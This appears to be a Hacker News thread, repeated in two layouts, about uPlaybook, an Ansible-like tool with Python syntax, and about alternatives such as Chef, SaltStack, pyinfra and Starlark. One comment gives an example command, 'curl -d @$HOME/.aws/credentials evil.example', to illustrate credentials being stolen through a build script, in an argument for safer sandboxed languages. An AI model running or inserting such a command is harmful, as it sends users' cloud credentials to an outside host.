5 ms·

Your comment really resonates with me, because I'm experimenting with a project to do "ansible, but with Python syntax" [1]. It has some declarative abilities,

Your comment really resonates with me, because I'm experimenting with a project to do "ansible, but with Python syntax" [1]. It has some declarative abilities, but also full imperative abilities, and does away with "coding in YAML", so I get full LSP abilities. I've considered the question: What is the difference between declaratively providing an Apache config file, and just copying that file over unconditionally? The big benefits I've come up with are: - Detecting the change so I can trigger an Apache restart only when the file has changed. - Ability to do "--check" and "--diff" to tell me what will change during a dry run. With the downside that the "tasks" become more complicated to build. I had previously built a version of my tool that was just a simpler, local ansible-like tool, with a YAML syntax and realized: I really hate coding Ansible playbooks in YAML. So I started imagining what it might look like if it was in code. I picked Python syntax because I really didn't want to write a parser for a DSL and wanted to see if I could get close enough without it. [1] https://github.com/linsomniac/uplaybook https://github.com/linsomniac/uplaybook

krab 3y ago
That looks great! I'm trying to do a similar thing but I'd like to be compatible with the existing Ansible tasks. Still trying to figure out the API, especially for cases like calling a playbook from playbook with some parameters.
- linsomniac 3y ago
  I am looking at adding the ability to call Ansible tasks (community.apt, for example) from uPlaybook, but that would not involve calling YAML playbooks I'm not thinking... But maybe that would be possible. I did try some other YAML control structures in the original version of uPlaybook, what I'm calling uPlaybook1 [1] now, which I think has some more natural control structures than Ansible. If you are doing something similar, may be worth looking at what I came up with: - I ended up using "block:" as a way of grouping tasks, and you could add conditionals or loops on those: block: tasks: - copy: [args here] - command: [more args here] loop: - vars: basename: XXX - vars: basename YYY - Conditionals were also blocks and could be nested within loops: - if: condition: "x < 1" tasks: - copy: [args here] - elif: condition: "x >= 1 and x < 10" tasks: [tasks here] - else: tasks: [more tasks here] [1] https://github.com/linsomniac/uplaybook1 https://github.com/linsomniac/uplaybook1
CaveTech 3y ago
This is essentially Chef
nurple 3y ago
Love that you're playing in the space! The more people that experiment with approaches, the more we'll see what does and doesn't work. Couldn't agree more with how painful "coding" in ansible is, my SOP with it is usually just to write a python module to model the flow I'm interested in the moment I find myself trying to implement logic at the yaml layer. The module API isn't horrible, I prefer it quite a bit over puppet's extensibility constructs. However, the nondeterministic bag-of-state issue will still be impossible to overcome with this strategy. Not to say that making a better ansible isn't valuable for configuration of legacy workloads in legacy runtime environments, only that it's a space that I'm personally putting a lot of energy into never interacting with again if I can help it.
- linsomniac 3y ago
  I don't understand what you mean by "nondeterministic bag-of-state" I guess...
  - nurple 3y ago
    If you think of the system(s) that you're targeting, and the mutation operations that you're defining in the CM language; the configuration files and their contents, binaries and their instances, etc are all contained as a giant bag of state we call the OS and its filesystem and memory contents. None of the popular configuration management systems can guarantee determinism in mutations over this state, no matter how much the interface and documentation tries to sell it as a feature, it's just not possible. If it's not apparent why this is the case, then I'd highly recommend not embarking on the process of attempting to create such a system as absolutely enormous amounts of code behind the scenes of the existing systems are aimed at attempting to make it _seem_ like they can be deterministic.
    - linsomniac 3y ago
      When you say that none of the popular CMs can guarantee determinism, are you meaning things like package drift as the OS upstream updates packages and that sort of thing? It's a little early to be recommending I don't embark on creating this; you have an idea in your head which the phrase "bag of state" isn't adequate to convey into my head. The CMs are largely about conveying a state into a system, though there are obviously some places where the state is "leaky" such as if I say "the system will have neovim" and it's leaky because today I may get neovim v0.9.X but tomorrow I may get v0.10.Y? Or are you meaning something like "my laptop install that I've been using for 3 years has a state that is very different from a clean install, so running this playbook on two systems and requesting "nvim" may produce v0.9.x on one, but alpha v0.11.Z on another because I've added a PPA to it"? I'm honestly just trying to understand what issue you are bringing up, and I appreciate the discussion. For some context: I've been using Ansible for ~7 years now, my combined "main.yml" files total just over 19K lines, nearly my entire Linux infrastructure comes up from a base OS install and an Ansible run, ~200 machines, and I respin half my dev+stg infrastructure every night to make sure I'm running against my latest playbooks.
n3storm 3y ago
Why not saltstack?
- linsomniac 3y ago
  At the time I selected Ansible, Saltstack had just had a fairly serious "we invented our own crypto" issue, but also Ansible's agentless approach was nice for my environment, though saltstack did have some great demos of what you could do with their approach, and, I had friends who were working on Ansible, which seemed like it was worth something... I'll take a look to see if Saltstack is in the same space as uPlaybook.
- mdaniel 3y ago
  Throw rocks at me if you like, but ansible is a more swiss army knife than just CM; I can trivially provision a cloud something (and there are a lot of cloud somethings that it supports, not just "hurr, I can make an ec2 instance hurr"), then do traditional config-management upon those resources, then do local tasks -- which I recognize may rub folks the wrong way, but for good or bad it's damn handy in a lot of my specific use cases -- then go back to doing cloud or CM stuff, all within the same playbook Also, it really jams me up their crazy nomenclature <https://docs.saltproject.io/en/3005/glossary.html https://docs.saltproject.io/en/3005/glossary.html> trying to be "cutesy" with really going all-in on that salt thing. I have heard similar, justified, complaints about Brew's "Cellar", "Keg", "Tap", etc
  - linsomniac 3y ago
    A co-worker keeps mentioning we should use terraform, but I'm not getting a very good answer, and haven't had time to do my own research, on why we should use TF rather than writing playbooks to provision AWS resources. Your comment above makes me wonder if, because I'm so steeped in Ansible, I'm not realizing that some of the other CMs are lacking these functions and need to lean on TF, where in Ansible you do not. I'm willing to admit that TF might be a better way of expressing it. As far as cutesy language, I don't really get jammed up by it, but I'll admit I kind of roll my eyes whenever I come across it. If it's a great tool, I'll overlook that (as in the case of brew). Kind of a "bless your heart" situation. :-)
mdaniel 3y ago
I don't know if you've considered it, but I would really value Starlark over "general purpose" python because my grave complaint about unlimited computation things for build systems (gradle, sbt :eyes:), or in this case a config management tool, is that they become real hard to reason about from one developer's machine to another, and/or make the hairs stand up for paranoid folks who really would prefer there not be a $(curl -d @$HOME/.aws/credentials evil.example) hiding in a random build script It also prevents newbies from mistakenly doing os.chdir when they really wanted fs.cd() as in your example playbook
- linsomniac 3y ago
  That's a fascinating idea, and does resolve the biggest downside compared to uPlaybook; the benefit of yaml is that you can't really sneak code in there. Thanks for putting that on my radar!
  - linsomniac 3y ago
    Can't seem to edit above ^^^, I meant "compared to CookieCutter".
ddorian43 3y ago
Have you seen pyinfra? Looks similar to me.
- linsomniac 3y ago
  I'll have to dig into that a bit, thanks for the pointer.
- linsomniac 3y ago
  I had that on my list to give a more thorough look-see a few months ago after it was mentioned in some discussion about fabric replacement. Thanks for putting that back on my radar. I had been wanting to leverage Ansible to get a bunch of functionality with little additional effort, but was trying to do it via direct Ansible API calls, and having no luck. I tried the same with pyinfra with similar results. However, I was able to build a shim that calls pyinfra, and I'm making wrappers to import that functionality into uPlaybook. So now I have apt and systemd and pip support that I had been wanting. The primary benefits of uPlaybook over Ansible/pyinfra/Chef, etc, are: - Playbook discoverability. (Run "up" and it'll give you a list of available playbooks an a short description of them). - Playbook arguments. (Run "up playbook --help" to get a list of CLI arguments the playbook takes. Instead of static playbooks you can have templatable plays that automate generic tasks with specializations). - Lack of boilerplate for local host operations. (You don't have to set up inventories, you just run a playbook, with the limitation that you are running locally. IOW, local operation is dead simple, like with a shell script).

krab 3y ago

That looks great! I'm trying to do a similar thing but I'd like to be compatible with the existing Ansible tasks. Still trying to figure out the API, especially for cases like calling a playbook from playbook with some parameters.

linsomniac 3y ago
I am looking at adding the ability to call Ansible tasks (community.apt, for example) from uPlaybook, but that would not involve calling YAML playbooks I'm not thinking... But maybe that would be possible. I did try some other YAML control structures in the original version of uPlaybook, what I'm calling uPlaybook1 [1] now, which I think has some more natural control structures than Ansible. If you are doing something similar, may be worth looking at what I came up with: - I ended up using "block:" as a way of grouping tasks, and you could add conditionals or loops on those: block: tasks: - copy: [args here] - command: [more args here] loop: - vars: basename: XXX - vars: basename YYY - Conditionals were also blocks and could be nested within loops: - if: condition: "x < 1" tasks: - copy: [args here] - elif: condition: "x >= 1 and x < 10" tasks: [tasks here] - else: tasks: [more tasks here] [1] https://github.com/linsomniac/uplaybook1 https://github.com/linsomniac/uplaybook1

CaveTech 3y ago

This is essentially Chef

nurple 3y ago

Love that you're playing in the space! The more people that experiment with approaches, the more we'll see what does and doesn't work. Couldn't agree more with how painful "coding" in ansible is, my SOP with it is usually just to write a python module to model the flow I'm interested in the moment I find myself trying to implement logic at the yaml layer. The module API isn't horrible, I prefer it quite a bit over puppet's extensibility constructs. However, the nondeterministic bag-of-state issue will still be impossible to overcome with this strategy. Not to say that making a better ansible isn't valuable for configuration of legacy workloads in legacy runtime environments, only that it's a space that I'm personally putting a lot of energy into never interacting with again if I can help it.

linsomniac 3y ago
I don't understand what you mean by "nondeterministic bag-of-state" I guess...
- nurple 3y ago
  If you think of the system(s) that you're targeting, and the mutation operations that you're defining in the CM language; the configuration files and their contents, binaries and their instances, etc are all contained as a giant bag of state we call the OS and its filesystem and memory contents. None of the popular configuration management systems can guarantee determinism in mutations over this state, no matter how much the interface and documentation tries to sell it as a feature, it's just not possible. If it's not apparent why this is the case, then I'd highly recommend not embarking on the process of attempting to create such a system as absolutely enormous amounts of code behind the scenes of the existing systems are aimed at attempting to make it _seem_ like they can be deterministic.
  - linsomniac 3y ago
    When you say that none of the popular CMs can guarantee determinism, are you meaning things like package drift as the OS upstream updates packages and that sort of thing? It's a little early to be recommending I don't embark on creating this; you have an idea in your head which the phrase "bag of state" isn't adequate to convey into my head. The CMs are largely about conveying a state into a system, though there are obviously some places where the state is "leaky" such as if I say "the system will have neovim" and it's leaky because today I may get neovim v0.9.X but tomorrow I may get v0.10.Y? Or are you meaning something like "my laptop install that I've been using for 3 years has a state that is very different from a clean install, so running this playbook on two systems and requesting "nvim" may produce v0.9.x on one, but alpha v0.11.Z on another because I've added a PPA to it"? I'm honestly just trying to understand what issue you are bringing up, and I appreciate the discussion. For some context: I've been using Ansible for ~7 years now, my combined "main.yml" files total just over 19K lines, nearly my entire Linux infrastructure comes up from a base OS install and an Ansible run, ~200 machines, and I respin half my dev+stg infrastructure every night to make sure I'm running against my latest playbooks.

n3storm 3y ago

Why not saltstack?

linsomniac 3y ago
At the time I selected Ansible, Saltstack had just had a fairly serious "we invented our own crypto" issue, but also Ansible's agentless approach was nice for my environment, though saltstack did have some great demos of what you could do with their approach, and, I had friends who were working on Ansible, which seemed like it was worth something... I'll take a look to see if Saltstack is in the same space as uPlaybook.
mdaniel 3y ago
Throw rocks at me if you like, but ansible is a more swiss army knife than just CM; I can trivially provision a cloud something (and there are a lot of cloud somethings that it supports, not just "hurr, I can make an ec2 instance hurr"), then do traditional config-management upon those resources, then do local tasks -- which I recognize may rub folks the wrong way, but for good or bad it's damn handy in a lot of my specific use cases -- then go back to doing cloud or CM stuff, all within the same playbook Also, it really jams me up their crazy nomenclature <https://docs.saltproject.io/en/3005/glossary.html https://docs.saltproject.io/en/3005/glossary.html> trying to be "cutesy" with really going all-in on that salt thing. I have heard similar, justified, complaints about Brew's "Cellar", "Keg", "Tap", etc
- linsomniac 3y ago
  A co-worker keeps mentioning we should use terraform, but I'm not getting a very good answer, and haven't had time to do my own research, on why we should use TF rather than writing playbooks to provision AWS resources. Your comment above makes me wonder if, because I'm so steeped in Ansible, I'm not realizing that some of the other CMs are lacking these functions and need to lean on TF, where in Ansible you do not. I'm willing to admit that TF might be a better way of expressing it. As far as cutesy language, I don't really get jammed up by it, but I'll admit I kind of roll my eyes whenever I come across it. If it's a great tool, I'll overlook that (as in the case of brew). Kind of a "bless your heart" situation. :-)

mdaniel 3y ago

I don't know if you've considered it, but I would really value Starlark over "general purpose" python because my grave complaint about unlimited computation things for build systems (gradle, sbt :eyes:), or in this case a config management tool, is that they become real hard to reason about from one developer's machine to another, and/or make the hairs stand up for paranoid folks who really would prefer there not be a $(curl -d @$HOME/.aws/credentials evil.example) hiding in a random build script It also prevents newbies from mistakenly doing os.chdir when they really wanted fs.cd() as in your example playbook

linsomniac 3y ago
That's a fascinating idea, and does resolve the biggest downside compared to uPlaybook; the benefit of yaml is that you can't really sneak code in there. Thanks for putting that on my radar!
- linsomniac 3y ago
  Can't seem to edit above ^^^, I meant "compared to CookieCutter".

ddorian43 3y ago

Have you seen pyinfra? Looks similar to me.

linsomniac 3y ago
I'll have to dig into that a bit, thanks for the pointer.
linsomniac 3y ago
I had that on my list to give a more thorough look-see a few months ago after it was mentioned in some discussion about fabric replacement. Thanks for putting that back on my radar. I had been wanting to leverage Ansible to get a bunch of functionality with little additional effort, but was trying to do it via direct Ansible API calls, and having no luck. I tried the same with pyinfra with similar results. However, I was able to build a shim that calls pyinfra, and I'm making wrappers to import that functionality into uPlaybook. So now I have apt and systemd and pip support that I had been wanting. The primary benefits of uPlaybook over Ansible/pyinfra/Chef, etc, are: - Playbook discoverability. (Run "up" and it'll give you a list of available playbooks an a short description of them). - Playbook arguments. (Run "up playbook --help" to get a list of CLI arguments the playbook takes. Instead of static playbooks you can have templatable plays that automate generic tasks with specializations). - Lack of boilerplate for local host operations. (You don't have to set up inventories, you just run a playbook, with the limitation that you are running locally. IOW, local operation is dead simple, like with a shell script).